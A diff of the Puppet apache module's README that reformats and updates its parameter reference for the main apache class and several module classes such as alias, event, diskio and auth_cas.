Puppet module, set the [`manage_group`][] parameter's value to false. +By default, Puppet attempts to manage this group as a resource under the `apache` class, determining the group based on the operating system as detected by the [`apache::params`][] class. To to prevent the group resource from being created and use a group created by another Puppet module, set the [`manage_group`][] parameter's value to `false`. > **Note**: Modifying this parameter only changes the group ID that Apache uses to spawn child processes to access resources. It does not change the user that owns the parent server process. ##### `httpd_dir` -Sets the Apache server's base configuration directory. This is useful for specially repackaged Apache server builds but might have unintended consequences when combined with the default distribution packages. Default: Determined by your operating system. +Sets the Apache server's base configuration directory. This is useful for specially repackaged Apache server builds but might have unintended consequences when combined with the default distribution packages. + +Default: Depends on operating system. - **Debian**: `/etc/apache2` - **FreeBSD**: `/usr/local/etc/apache22` - **Gentoo**: `/etc/apache2` - **Red Hat**: `/etc/httpd` +##### http_protocol_options` + +Specifies the strictness of HTTP protocol checks. Valid options: any sequence of the following alternative values: `Strict` or `Unsafe`, `RegisteredMethods` or `LenientMethods`, and `Allow0.9` or `Require1.0`. Default '`Strict LenientMethods Allow0.9`'. + ##### `keepalive` -Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive. Valid options: 'Off', 'On'. Default: 'Off'. +Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive. If you set this to 'On', use the [`keepalive_timeout`][] and [`max_keepalive_requests`][] parameters to set relevant options. -If 'On', use the [`keepalive_timeout`][] and [`max_keepalive_requests`][] parameters to set relevant options. +Values: 'Off', 'On'. + +Default: 'Off'. ##### `keepalive_timeout` -Sets the [`KeepAliveTimeout`] directive, which determines the amount of time the Apache server waits for subsequent requests on a persistent HTTP connection. Default: '15'. +Sets the [`KeepAliveTimeout`] directive, which determines the amount of time the Apache server waits for subsequent requests on a persistent HTTP connection. This parameter is only relevant if the [`keepalive` parameter][] is enabled. -This parameter is only relevant if the [`keepalive` parameter][] is enabled. +Default: '15'. ##### `max_keepalive_requests` -Limits the number of requests allowed per connection when the [`keepalive` parameter][] is enabled. Default: '100'. +Limits the number of requests allowed per connection when the [`keepalive` parameter][] is enabled. + +Default: '100'. ##### `lib_path` -Specifies the location where [Apache module][Apache modules] files are stored. Default: Depends on the operating system. +Specifies the location where [Apache module][Apache modules] files are stored. Default: Depends on operating system. - **Debian** and **Gentoo**: `/usr/lib/apache2/modules` - **FreeBSD**: `/usr/local/libexec/apache24` @@ -1012,19 +1100,15 @@ Specifies the location where [Apache module][Apache modules] files are stored. D > **Note**: Do not configure this parameter manually without special reason. -##### `loadfile_name` - -Sets the [`LoadFile`] directive's filename. Valid options: Filenames in the format `\*.load`. - -This can be used to set the module load order. - ##### `log_level` -Changes the error log's verbosity. Valid options: 'alert', 'crit', 'debug', 'emerg', 'error', 'info', 'notice', 'warn'. Default: 'warn'. +Changes the error log's verbosity. Values: 'alert', 'crit', 'debug', 'emerg', 'error', 'info', 'notice', 'warn'. + +Default: 'warn'. ##### `log_formats` -Define additional [`LogFormat`][] directives. Valid options: A [hash][], such as: +Define additional [`LogFormat`][] directives. Values: A [hash][], such as: ``` puppet $log_formats = { vhost_common => '%v %h %l %u %t \"%r\" %>s %b' } @@ -1044,7 +1128,9 @@ If your `log_formats` parameter contains one of those, it will be overwritten wi ##### `logroot` -Changes the directory of Apache log files for the virtual host. Default: Determined by your operating system. +Changes the directory of Apache log files for the virtual host. + +Default: Depends on operating system. - **Debian**: `/var/log/apache2` - **FreeBSD**: `/var/log/apache22` @@ -1053,39 +1139,65 @@ Changes the directory of Apache log files for the virtual host. Default: Determi ##### `logroot_mode` -Overrides the default [`logroot`][] directory's mode. Default: undef. +Overrides the default [`logroot`][] directory's mode. > **Note**: Do _not_ grant write access to the directory where the logs are stored without being aware of the consequences. See the [Apache documentation][Log security] for details. +Default: `undef`. + ##### `manage_group` -When false, stops Puppet from creating the group resource. Valid options: Boolean. Default: true. +When `false`, stops Puppet from creating the group resource. -If you have a group created from another Puppet module that you want to use to run Apache, set this to false. Without this parameter, attempting to use a previously established group results in a duplicate resource error. +If you have a group created from another Puppet module that you want to use to run Apache, set this to `false`. Without this parameter, attempting to use a previously established group results in a duplicate resource error. + +Boolean. Default: `true`. + +##### `supplementary_groups` + +A list of groups to which the user belongs. These groups are in addition to the primary group. Default: No additional groups. + +Notice: This option only has an effect when `manage_user` is set to true. ##### `manage_user` -When false, stops Puppet from creating the user resource. Valid options: Boolean. Default: true. +When `false`, stops Puppet from creating the user resource. This is for instances when you have a user, created from another Puppet module, you want to use to run Apache. Without this parameter, attempting to use a previously established user would result in a duplicate resource error. +Boolean. Default: `true`. + ##### `mod_dir` -Sets where Puppet places configuration files for your [Apache modules][]. Default: Determined by your operating system. +Sets where Puppet places configuration files for your [Apache modules][]. + +Default: Depends on operating system. - **Debian**: `/etc/apache2/mods-available` - **FreeBSD**: `/usr/local/etc/apache22/Modules` - **Gentoo**: `/etc/apache2/modules.d` - **Red Hat**: `/etc/httpd/conf.d` +##### `mod_packages` + +Allows the user to override default module package names. + +```puppet +include apache::params +class { 'apache': + mod_packages => merge($::apache::params::mod_packages, { + 'auth_kerb' => 'httpd24-mod_auth_kerb', + }) +} +``` + +Hash. Default: `$apache::params::mod_packages` + ##### `mpm_module` -Determines which [multi-processing module][] (MPM) is loaded and configured for the HTTPD process. Valid options: 'event', 'itk', 'peruser', 'prefork', 'worker', or false. Default: Determined by your operating system. +Determines which [multi-processing module][] (MPM) is loaded and configured for the HTTPD process. Values: 'event', 'itk', 'peruser', 'prefork', 'worker', or `false`. -- **Debian**: 'worker' -- **FreeBSD, Gentoo, and Red Hat**: 'prefork' - -You must set this to false to explicitly declare the following classes with custom parameters: +You must set this to `false` to explicitly declare the following classes with custom parameters: - [`apache::mod::event`][] - [`apache::mod::itk`][] @@ -1093,13 +1205,22 @@ You must set this to false to explicitly declare the following classes with cust - [`apache::mod::prefork`][] - [`apache::mod::worker`][] +Default: Depends on operating system. + +- **Debian**: 'worker' +- **FreeBSD, Gentoo, and Red Hat**: 'prefork' + ##### `package_ensure` -Controls the `package` resource's [`ensure`][] attribute. Valid options: 'absent', 'installed' (or the equivalent 'present'), or a version string. Default: 'installed'. +Controls the `package` resource's [`ensure`][] attribute. Values: 'absent', 'installed' (or equivalent 'present'), or a version string. +Default: 'installed'. + ##### `pidfile` -Allows settting a custom location for the pid file - useful if using a custom built Apache rpm. Default: Depends on operating system. +Allows settting a custom location for the pid file. Useful if using a custom-built Apache rpm. + +Default: Depends on operating system. - **Debian:** '\${APACHE_PID_FILE}' - **FreeBSD:** '/var/run/httpd.pid' @@ -1107,43 +1228,57 @@ Allows settting a custom location for the pid file - useful if using a custom bu ##### `ports_file` -Sets the path to the file containing Apache ports configuration. Default: '{$conf_dir}/ports.conf'. +Sets the path to the file containing Apache ports configuration. + +Default: '{$conf_dir}/ports.conf'. ##### `purge_configs` -Removes all other Apache configs and virtual hosts. Valid options: Boolean. Default: true. +Removes all other Apache configs and virtual hosts. -Setting this to false is a stopgap measure to allow the apache Puppet module to coexist with existing or unmanaged configurations. We recommend moving your configuration to resources within this module. For virtual host configurations, see [`purge_vhost_dir`][]. +Setting this to `false` is a stopgap measure to allow the apache module to coexist with existing or unmanaged configurations. We recommend moving your configuration to resources within this module. For virtual host configurations, see [`purge_vhost_dir`][]. + +Boolean. Default: `true`. ##### `purge_vhost_dir` -If the [`vhost_dir`][] parameter's value differs from the [`confd_dir`][] parameter's, the Boolean parameter `purge_vhost_dir` determines whether Puppet removes any configurations inside `vhost_dir` _not_ managed by Puppet. Valid options: Boolean. Default: same as [`purge_configs`][]. +If the [`vhost_dir`][] parameter's value differs from the [`confd_dir`][] parameter's, this parameter determines whether Puppet removes any configurations inside `vhost_dir` that are _not_ managed by Puppet. -Setting `purge_vhost_dir` to false is a stopgap measure to allow the apache Puppet module to coexist with existing or otherwise unmanaged configurations within `vhost_dir`. +Setting `purge_vhost_dir` to `false` is a stopgap measure to allow the apache module to coexist with existing or otherwise unmanaged configurations within `vhost_dir`. + +Boolean. Default: same as [`purge_configs`][]. ##### `rewrite_lock` -Allows setting a custom location for a rewrite lock - considered best practice if using a RewriteMap of type prg in the [`rewrites`][] parameter of your virtual host. Default: undef. +Allows setting a custom location for a rewrite lock - considered best practice if using a RewriteMap of type prg in the [`rewrites`][] parameter of your virtual host. This parameter only applies to Apache version 2.2 or lower and is ignored on newer versions. -This parameter only applies to Apache version 2.2 or lower and is ignored on newer versions. +Default: `undef`. ##### `sendfile` -Forces Apache to use the Linux kernel's `sendfile` support to serve static files, via the [`EnableSendfile`][] directive. Valid options: 'On', 'Off'. Default: 'On'. +Forces Apache to use the Linux kernel's `sendfile` support to serve static files, via the [`EnableSendfile`][] directive. Values: 'On', 'Off'. + +Default: 'On'. ##### `serveradmin` -Sets the Apache server administrator's contact information via Apache's [`ServerAdmin`][] directive. Default: 'root@localhost'. +Sets the Apache server administrator's contact information via Apache's [`ServerAdmin`][] directive. + +Default: 'root@localhost'. ##### `servername` -Sets the Apache server name via Apache's [`ServerName`][] directive. Default: the 'fqdn' fact reported by [Facter][]. +Sets the Apache server name via Apache's [`ServerName`][] directive. -Setting to false will not set ServerName at all. +Setting to `false` will not set ServerName at all. + +Default: the 'fqdn' fact reported by [Facter][]. ##### `server_root` -Sets the Apache server's root directory via Apache's [`ServerRoot`][] directive. Default: determined by your operating system. +Sets the Apache server's root directory via Apache's [`ServerRoot`][] directive. + +Default: Depends on operating system. - **Debian**: `/etc/apache2` - **FreeBSD**: `/usr/local` @@ -1152,25 +1287,35 @@ Sets the Apache server's root directory via Apache's [`ServerRoot`][] directive. ##### `server_signature` -Configures a trailing footer line to display at the bottom of server-generated documents, such as error documents and output of certain [Apache modules][], via Apache's [`ServerSignature`][] directive. Valid options: 'Off', 'On'. Default: 'On'. +Configures a trailing footer line to display at the bottom of server-generated documents, such as error documents and output of certain [Apache modules][], via Apache's [`ServerSignature`][] directive. Values: 'Off', 'On'. + +Default: 'On'. ##### `server_tokens` -Controls how much information Apache sends to the browser about itself and the operating system, via Apache's [`ServerTokens`][] directive. Default: 'OS'. +Controls how much information Apache sends to the browser about itself and the operating system, via Apache's [`ServerTokens`][] directive. + +Default: 'OS'. ##### `service_enable` -Determines whether Puppet enables the Apache HTTPD service when the system is booted. Valid options: Boolean. Default: true. +Determines whether Puppet enables the Apache HTTPD service when the system is booted. + +Boolean. Default: `true`. ##### `service_ensure` -Determines whether Puppet should make sure the service is running. Valid options: 'true' (equivalent to 'running'), 'false' (equivalent to 'stopped'). Default: 'running'. +Determines whether Puppet should make sure the service is running. Values: `true` (or 'running'), `false` (or 'stopped'). -The 'false' or 'stopped' values set the 'httpd' service resource's `ensure` parameter to 'false', which is useful when you want to let the service be managed by another application, such as Pacemaker. +The `false` or 'stopped' values set the 'httpd' service resource's `ensure` parameter to `false`, which is useful when you want to let the service be managed by another application, such as Pacemaker. + +Default: 'running'. ##### `service_name` -Sets the name of the Apache service. Default: determined by your operating system. +Sets the name of the Apache service. + +Default: Depends on operating system. - **Debian and Gentoo**: 'apache2' - **FreeBSD**: 'apache22' @@ -1178,39 +1323,62 @@ Sets the name of the Apache service. Default: determined by your operating syste ##### `service_manage` -Determines whether Puppet manages the HTTPD service's state. Valid options: Boolean. Default: true. +Determines whether Puppet manages the HTTPD service's state. + +Boolean. Default: `true`. ##### `service_restart` -Determines whether Puppet should use a specific command to restart the HTTPD service. Valid options: a command to restart the Apache service. Default: undef, which uses the [default Puppet behavior][Service attribute restart]. +Determines whether Puppet should use a specific command to restart the HTTPD service. + +Values: a command to restart the Apache service. The default setting uses the [default Puppet behavior][Service attribute restart]. + +Default: `undef`. + +##### `ssl_ca` + +Specifies the SSL certificate authority. [SSLCACertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcacertificatefile). Default: undef. It is possible to override this on a vhost level. + + + + + + + -##### `ssl_stapling` -Specifies whether or not to use [SSLUseStapling](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslusestapling). Valid options: Boolean. Default: false. It is possible to override this on a vhost level. -This parameter only applies to Apache 2.4 or higher and is ignored on older versions. -##### `ssl_stapling_return_errors` -Can be used to set the [SSLStaplingReturnResponderErrors](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingreturnrespondererrors) directive. No default. It is possible to override this on a vhost level. -This parameter only applies to Apache 2.4 or higher and is ignored on older versions. ##### `timeout` -Sets Apache's [`TimeOut`][] directive, which defines the number of seconds Apache waits for certain events before failing a request. Default: 120. +Sets Apache's [`TimeOut`][] directive, which defines the number of seconds Apache waits for certain events before failing a request. + +Default: 120. ##### `trace_enable` -Controls how Apache handles `TRACE` requests (per [RFC 2616][]) via the [`TraceEnable`][] directive. Valid options: 'Off', 'On'. Default: 'On'. +Controls how Apache handles `TRACE` requests (per [RFC 2616][]) via the [`TraceEnable`][] directive. + +Values: 'Off', 'On'. + +Default: 'On'. ##### `use_systemd` -Controls whether the systemd module should be installed on Centos 7 servers, this is especially useful if using custom-built RPMs. Valid options: Boolean. Default: true. +Controls whether the systemd module should be installed on Centos 7 servers, this is especially useful if using custom-built RPMs. + +Boolean. Default: `true`. ##### `file_mode` -Sets the desired permissions mode for config files, in symbolic or numeric notation. Valid options: A string. Default: '0644'. +Sets the desired permissions mode for config files. + +Values: A string, with permissions mode in symbolic or numeric notation. + +Default: '0644'. ##### `root_directory_options` @@ -1218,11 +1386,15 @@ Array of the desired options for the / directory in httpd.conf. Defaults to 'Fol ##### `root_directory_secured` -Sets the default access policy for the / directory in httpd.conf. A value of 'false' allows access to all resources that are missing a more specific access policy. A value of 'true' denies access to all resources by default. In this case more specific rules must be used to allow access to these resources (e.g. in a directory block using the [`directories`](#parameter-directories-for-apachevhost) parameter). Valid options: Boolean. Default: false. +Sets the default access policy for the / directory in httpd.conf. A value of `false` allows access to all resources that are missing a more specific access policy. A value of `true` denies access to all resources by default. If `true`, more specific rules must be used to allow access to these resources (for example, in a directory block using the [`directories`](#parameter-directories-for-apachevhost) parameter). + +Boolean. Default: `false`. ##### `vhost_dir` -Changes your virtual host configuration files' location. Default: determined by your operating system. +Changes your virtual host configuration files' location. + +Default: Depends on operating system: - **Debian**: `/etc/apache2/sites-available` - **FreeBSD**: `/usr/local/etc/apache22/Vhosts` @@ -1231,17 +1403,19 @@ Changes your virtual host configuration files' location. Default: determined by ##### `vhost_include_pattern` -Defines the pattern for files included from the `vhost_dir`. Default: '*', also for BC with previous versions of this module. +Defines the pattern for files included from the `vhost_dir`. -However, you might want to set this to a value like '[^.#]\*.conf[^~]' to make sure files accidentally created in this directory (such as files created by version control systems or editor backups) are *not* included in your server configuration. +If set to a value like `[^.#]\*.conf[^~]` to make sure that files accidentally created in this directory (such as files created by version control systems or editor backups) are *not* included in your server configuration. -Some operating systems ship with a value of '*.conf'. Also note that this module will, by default, create configuration files ending in '.conf'. +Default: '*', also for BC with previous versions of this module. TODO: what does "also for BC" mean? + +Some operating systems use a value of `*.conf`. By default, this module creates configuration files ending in `.conf`. ##### `user` -Changes the user Apache uses to answer requests. Apache's parent process will continue to be run as root, but child processes will access resources as the user defined by this parameter. +Changes the user that Apache uses to answer requests. Apache's parent process continues to run as root, but child processes access resources as the user defined by this parameter. To prevent Puppet from managing the user, set the [`manage_user`][] parameter to `false`. -Default: Puppet sets the default value via the [`apache::params`][] class, which manages the user based on your operating system: +Default: Depends on the user set by [`apache::params`][] class, based on your operating system: - **Debian**: 'www-data' - **FreeBSD**: 'www' @@ -1251,22 +1425,20 @@ To prevent Puppet from managing the user, set the [`manage_user`][] parameter to ##### `apache_name` -The name of the Apache package to install. Default: Puppet sets the default value via the [`apache::params`][] class, which manages the user based on your operating system: +The name of the Apache package to install. If you are using a non-standard Apache package, such as those from Red Hat's software collections, you might need to override the default setting. -The default value is determined by your operating system: +Default: Depends on the user set by [`apache::params`][] class, based on your operating system: - **Debian**: 'apache2' - **FreeBSD**: 'apache24' - **Gentoo**: 'www-servers/apache' - **Red Hat**: 'httpd' -You might need to override this if you are using a non-standard Apache package, such as those from Red Hat's software collections. - ##### `error_log` -The name of the error log file for the main server instance +The name of the error log file for the main server instance. If the string starts with `/`, `|`, or `syslog`: the full path is set. Otherwise, the filename is prefixed with `$logroot`. -The default value is determined by your operating system: +Default: Depends on operating system: - **Debian**: 'error.log' - **FreeBSD**: 'httpd-error.log' @@ -1274,13 +1446,11 @@ The default value is determined by your operating system: - **Red Hat**: 'error_log' - **Suse**: 'error.log' -If the string starts with / or | or syslog: the full path will be set. Otherwise the filename will be prefixed with $logroot - ##### `scriptalias` Directory to use for global script alias -The default value is determined by your operating system: +Default: Depends on operating system: - **Debian**: '/usr/lib/cgi-bin' - **FreeBSD**: '/usr/local/www/apache24/cgi-bin' @@ -1290,9 +1460,9 @@ The default value is determined by your operating system: ##### `access_log_file` -The name of the access log file for the main server instance +The name of the access log file for the main server instance. -The default value is determined by your operating system: +Default: Depends on operating system: - **Debian**: 'error.log' - **FreeBSD**: 'httpd-access.log' @@ -1302,28 +1472,28 @@ The default value is determined by your operating system: #### Class: `apache::dev` -Installs Apache development libraries. By default, the package name is defined by the [`dev_packages`][] parameter of the [`apache::params`][] class based on your operating system: +Installs Apache development libraries. Default: Depends on the operating system:[`dev_packages`][] parameter of the [`apache::params`][] class, based on your operating system: -The default value is determined by your operating system: - -- **Debian** : 'libaprutil1-dev', 'libapr1-dev'; 'apache2-dev' on Ubuntu 13.10 and Debian 8; 'apache2-prefork-dev' on other versions -- **FreeBSD**: 'undef'; see note below -- **Gentoo**: 'undef' -- **Red Hat**: 'httpd-devel' - -> **Note**: On FreeBSD, you must declare the `apache::package` or `apache` classes before declaring `apache::dev`. +- **Debian** : 'libaprutil1-dev', 'libapr1-dev'; 'apache2-dev' on Ubuntu 13.10 and Debian 8; 'apache2-prefork-dev' on other versions. +- **FreeBSD**: `undef`; on FreeBSD, you must declare the `apache::package` or `apache` classes before declaring `apache::dev`. +- **Gentoo**: `undef`. +- **Red Hat**: 'httpd-devel'. #### Class: `apache::vhosts` Creates [`apache::vhost`][] defined types. -**Parameters within `apache::vhosts`**: +**Parameters**: -- `vhosts`: A [hash][] where the key represents the name and the value represents a [hash][] of [`apache::vhost`][] defined type's parameters. Default: '{}' +* `vhosts`: Specifies the [`apache::vhost`][] defined type's parameters. -> **Note**: See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters or [Configuring virtual hosts]. + Values: A [hash][], where the key represents the name and the value represents a [hash][] of [`apache::vhost`][] defined type's parameters. -For example, to create a [name-based virtual host][name-based virtual hosts] 'custom_vhost_1, you can declare the class with the `vhosts` parameter set to '{ "custom_vhost_1" => { "docroot" => "/var/www/custom_vhost_1", "port" => "81" }': + Default: '{}' + + > **Note**: See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters or [Configuring virtual hosts]. + + For example, to create a [name-based virtual host][name-based virtual hosts] 'custom_vhost_1, declare this class with the `vhosts` parameter set to '{ "custom_vhost_1" => { "docroot" => "/var/www/custom_vhost_1", "port" => "81" }': ``` puppet class { 'apache::vhosts': @@ -1338,7 +1508,9 @@ class { 'apache::vhosts': #### Classes: `apache::mod::` -Enables specific [Apache modules][]. You can enable and configure an Apache module by declaring its class. For example, to install and enable [`mod_alias`][] with no icons, you can declare the [`apache::mod::alias`][] class with the `icons_options` parameter set to 'None': +Enables specific [Apache modules][]. Enable and configure an Apache module by declaring its class. + +For example, to install and enable [`mod_alias`][] with no icons, declare the [`apache::mod::alias`][] class with the `icons_options` parameter set to 'None': ``` puppet class { 'apache::mod::alias': @@ -1358,6 +1530,7 @@ The following Apache modules have supported classes, many of which allow for par * `authn_dbd`\* (see [`apache::mod::authn_dbd`][]) * `authn_file` * `authnz_ldap`\* (see [`apache::mod::authnz_ldap`][]) +* `authnz_pam` * `authz_default` * `authz_user` * `autoindex` @@ -1385,12 +1558,14 @@ The following Apache modules have supported classes, many of which allow for par * `headers` * `include` * `info`\* +* `intercept_form_submit` * `itk` * `ldap` (see [`apache::mod::ldap`][]) +* `lookup_identity` * `mime` * `mime_magic`\* * `negotiation` -* `nss`\* +* `nss`\* (see [`apache::mod::nss`][]) * `pagespeed` (see [`apache::mod::pagespeed`][]) * `passenger`\* (see [`apache::mod::passenger`][]) * `perl` @@ -1428,39 +1603,47 @@ Modules noted with a * indicate that the module has settings and a template that Installs and manages [`mod_alias`][]. -**Parameters within `apache::mod::alias`**: +**Parameters**: -* `icons_options`: Disables directory listings for the icons directory, via Apache [`Options`] directive. Default: 'Indexes MultiViews'. -* `icons_path`: Sets the local path for an `/icons/` Alias. Default: depends on your operating system. +* `icons_options`: Disables directory listings for the icons directory, via Apache [`Options`] directive. -- **Debian**: `/usr/share/apache2/icons` -- **FreeBSD**: `/usr/local/www/apache24/icons` -- **Gentoo**: `/var/www/icons` -- **Red Hat**: `/var/www/icons`, except on Apache 2.4, where it's `/usr/share/httpd/icons` + Default: 'Indexes MultiViews'. + +* `icons_path`: Sets the local path for an `/icons/` Alias. + + Default: Depends on operating system. + + * **Debian**: `/usr/share/apache2/icons` + * **FreeBSD**: `/usr/local/www/apache24/icons` + * **Gentoo**: `/var/www/icons` + * *Red Hat**: `/var/www/icons`, except on Apache 2.4, where it's `/usr/share/httpd/icons` #### Class: `apache::mod::disk_cache` -Installs and configures [`mod_disk_cache`][] on Apache 2.2, or [`mod_cache_disk`][] on Apache 2.4. The default cache root depends on the Apache version and operating system: +Installs and configures [`mod_disk_cache`][] on Apache 2.2, or [`mod_cache_disk`][] on Apache 2.4. + +Default: Depends on the Apache version and operating system: - **Debian**: `/var/cache/apache2/mod_cache_disk` - **FreeBSD**: `/var/cache/mod_cache_disk` - **Red Hat, Apache 2.4**: `/var/cache/httpd/proxy` - **Red Hat, Apache 2.2**: `/var/cache/mod_proxy` -You can specify the cache root by passing a path as a string to the `cache_root` parameter. +To specify the cache root, pass a path as a string to the `cache_root` parameter. ``` puppet class {'::apache::mod::disk_cache': cache_root => '/path/to/cache', } ``` + ##### Class: `apache::mod::diskio` Installs and configures [`mod_diskio`][]. ```puppet class{'apache': - default_mods => false, + default_mods => `false`, log_level => 'dumpio:trace7', } class{'apache::mod::diskio': @@ -1469,67 +1652,159 @@ class{'apache::mod::diskio': } ``` +**Parameters**: -**Parameters withing `apache::mod::diskio`**: +* `dump_io_input`: Dump all input data to the error log. -- `dump_io_input`: Dump all input data to the error log. Must be `On` or `Off`, defaults to `Off` -- `dump_io_output`: Dump all output data to the error log. Must be `On` or `Off`, defaults to `Off` + Values: 'On', 'Off'. + + Default: 'Off'. + +* `dump_io_output`: Dump all output data to the error log. + + Values: 'On', 'Off'. + + Defaults to 'Off'. ##### Class: `apache::mod::event` -Installs and manages [`mod_mpm_event`][]. You can't include both `apache::mod::event` and [`apache::mod::itk`][], [`apache::mod::peruser`][], [`apache::mod::prefork`][], or [`apache::mod::worker`][] on the same server. +Installs and manages [`mod_mpm_event`][]. You cannot include `apache::mod::event` with [`apache::mod::itk`][], [`apache::mod::peruser`][], [`apache::mod::prefork`][], or [`apache::mod::worker`][] on the same server. -**Parameters within `apache::mod::event`**: +**Parameters**: -- `listenbacklog`: Sets the maximum length of the pending connections queue via the module's [`ListenBackLog`][] directive. Default: '511'. Setting this to 'false' removes the parameter. -- `maxrequestworkers` (_Apache 2.3.12 or older_: `maxclients`): Sets the maximum number of connections Apache can simultaneously process, via the module's [`MaxRequestWorkers`][] directive. Default: '150'. Setting these to 'false' removes the parameters. -- `maxconnectionsperchild` (_Apache 2.3.8 or older_: `maxrequestsperchild`): Limits the number of connections a child server handles during its life, via the module's [`MaxConnectionsPerChild`][] directive. Default: '0'. Setting these to 'false' removes the parameters. -- `maxsparethreads` and `minsparethreads`: Sets the maximum and minimum number of idle threads, via the [`MaxSpareThreads`][] and [`MinSpareThreads`][] directives. Default: '75' and '25', respectively. Setting these to 'false' removes the parameters. -- `serverlimit`: Limits the configurable number of processes via the [`ServerLimit`][] directive. Default: '25'. Setting this to 'false' removes the parameter. -- `startservers`: Sets the number of child server processes created at startup, via the module's [`StartServers`][] directive. Default: '2'. Setting this to 'false' removes the parameter. -- `threadlimit`: Limits the number of event threads via the module's [`ThreadLimit`][] directive. Default: '64'. Setting this to 'false' removes the parameter. -- `threadsperchild`: Sets the number of threads created by each child process, via the [`ThreadsPerChild`][] directive. Default: '25'. Setting this to 'false' removes the parameter. +* `listenbacklog`: Sets the maximum length of the pending connections queue via the module's [`ListenBackLog`][] directive. Setting this to `false` removes the parameter. + + Default: '511'. + +* `maxrequestworkers` (_Apache 2.3.12 or older_: `maxclients`): Sets the maximum number of connections Apache can simultaneously process, via the module's [`MaxRequestWorkers`][] directive. Setting these to `false` removes the parameters. + + Default: '150'. + +* `maxconnectionsperchild` (_Apache 2.3.8 or older_: `maxrequestsperchild`): Limits the number of connections a child server handles during its life, via the module's [`MaxConnectionsPerChild`][] directive. Setting these to `false` removes the parameters. + + Default: '0'. + +* `maxsparethreads` and `minsparethreads`: Sets the maximum and minimum number of idle threads, via the [`MaxSpareThreads`][] and [`MinSpareThreads`][] directives. Setting these to `false` removes the parameters. + + Default: '75' and '25', respectively. + +* `serverlimit`: Limits the configurable number of processes via the [`ServerLimit`][] directive. Setting this to `false` removes the parameter. + + Default: '25'. + +* `startservers`: Sets the number of child server processes created at startup, via the module's [`StartServers`][] directive. Setting this to `false` removes the parameter. + + Default: '2'. + +* `threadlimit`: Limits the number of event threads via the module's [`ThreadLimit`][] directive. Setting this to `false` removes the parameter. + + Default: '64'. + +* `threadsperchild`: Sets the number of threads created by each child process, via the [`ThreadsPerChild`][] directive. Default: '25'. Setting this to `false` removes the parameter. ##### Class: `apache::mod::auth_cas` -Installs and manages [`mod_auth_cas`][]. Its parameters share names with the Apache module's directives. +Installs and manages [`mod_auth_cas`][]. Parameters share names with the Apache module's directives. -The `cas_login_url` and `cas_validate_url` parameters are required; several other parameters have 'undef' default values. +The `cas_login_url` and `cas_validate_url` parameters are required; several other parameters have `undef` default values. -**Note**: The auth\_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL. See [https://github.com/Jasig/mod_auth_cas]() +> **Note**: The auth_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL. See [https://github.com/Jasig/mod_auth_cas]() -**Parameters within `apache::mod::auth_cas`**: +**Parameters**: -- `cas_attribute_prefix`: Adds a header with the value of this header being the attribute values when SAML - validation is enabled. Default: CAS_ +- `cas_attribute_prefix`: Adds a header with the value of this header being the attribute values when SAML validation is enabled. + + Default: CAS_. + - `cas_attribute_delimiter`: The delimiter between attribute values in the header created by `cas_attribute_prefix`. + Default: , -- `cas_authoritative`: Determines whether an optional authorization directive is authoritative and binding. Default: undef. -- `cas_certificate_path`: Sets the path to the X509 certificate of the Certificate Authority for the server in `cas_login_url` and `cas_validate_url`. Default: undef. -- `cas_cache_clean_interval`: Sets the minimum number of seconds that must pass between cache cleanings. Default: undef. -- `cas_cookie_domain`: Sets the value of the `Domain=` parameter in the `Set-Cookie` HTTP header. Default: undef. -- `cas_cookie_entropy`: Sets the number of bytes to use when creating session identifiers. Default: undef. -- `cas_cookie_http_only`: Sets the optional `HttpOnly` flag when `mod_auth_cas` issues cookies. Default: undef. -- `cas_cookie_path`: Where cas cookie session data is stored. Should be writable by web server user. Default: OS dependent. -- `cas_cookie_path_mode`: The mode of `cas_cookie_path`. Default: '0750'. -- `cas_debug`: Determines whether to enable the module's debugging mode. Default: 'Off'. -- `cas_idle_timeout`: Default: undef. + +- `cas_authoritative`: Determines whether an optional authorization directive is authoritative and binding. + + Default: `undef`. + +- `cas_certificate_path`: Sets the path to the X509 certificate of the Certificate Authority for the server in `cas_login_url` and `cas_validate_url`. + + Default: `undef`. + +- `cas_cache_clean_interval`: Sets the minimum number of seconds that must pass between cache cleanings. + + Default: `undef`. + +- `cas_cookie_domain`: Sets the value of the `Domain=` parameter in the `Set-Cookie` HTTP header. + + Default: `undef`. + +- `cas_cookie_entropy`: Sets the number of bytes to use when creating session identifiers. + + Default: `undef`. + +- `cas_cookie_http_only`: Sets the optional `HttpOnly` flag when `mod_auth_cas` issues cookies. + + Default: `undef`. + +- `cas_cookie_path`: Where cas cookie session data is stored. Should be writable by web server user. + + Default: OS dependent. + +- `cas_cookie_path_mode`: The mode of `cas_cookie_path`. + + Default: '0750'. + +- `cas_debug`: Determines whether to enable the module's debugging mode. + + Default: 'Off'. + +- `cas_idle_timeout`: Sets the idle timeout limit, in seconds. + + Default: `undef`. + - `cas_login_url`: **Required**. Sets the URL to which the module redirects users when they attempt to access a CAS-protected resource and don't have an active session. -- `cas_proxy_validate_url`: The URL to use when performing a proxy validation. Default: undef. -- `cas_root_proxied_as`: Sets the URL end users see when access to this Apache server is proxied. Default: undef. + +- `cas_proxy_validate_url`: The URL to use when performing a proxy validation. + + Default: `undef`. + +- `cas_root_proxied_as`: Sets the URL end users see when access to this Apache server is proxied. + + Default: `undef`. + - `cas_scrub_request_headers`: Remove inbound request headers that may have special meaning within mod_auth_cas. -- `cas_sso_enabled`: Enables experimental support for single sign out (may mangle POST data). Default: off -- `cas_timeout`: Limits the number of seconds a `mod_auth_cas` session can remain active. Default: undef. -- `cas_validate_depth`: Limits the depth for chained certificate validation. Default: undef. -- `cas_validate_saml`: Parse response from CAS server for SAML. Default: Off -- `cas_validate_server`: Should we validate the cert of the CAS server (depreciated in 1.1 - RedHat 7). Default: undef. + +- `cas_sso_enabled`: Enables experimental support for single sign out (may mangle POST data). + + Default: 'Off'. + +- `cas_timeout`: Limits the number of seconds a `mod_auth_cas` session can remain active. + + Default: `undef`. + +- `cas_validate_depth`: Limits the depth for chained certificate validation. + + Default: `undef`. + +- `cas_validate_saml`: Parse response from CAS server for SAML. + + Default: 'Off'. + +- `cas_validate_server`: Whether to validate the cert of the CAS server (deprecated in 1.1 - RedHat 7). + 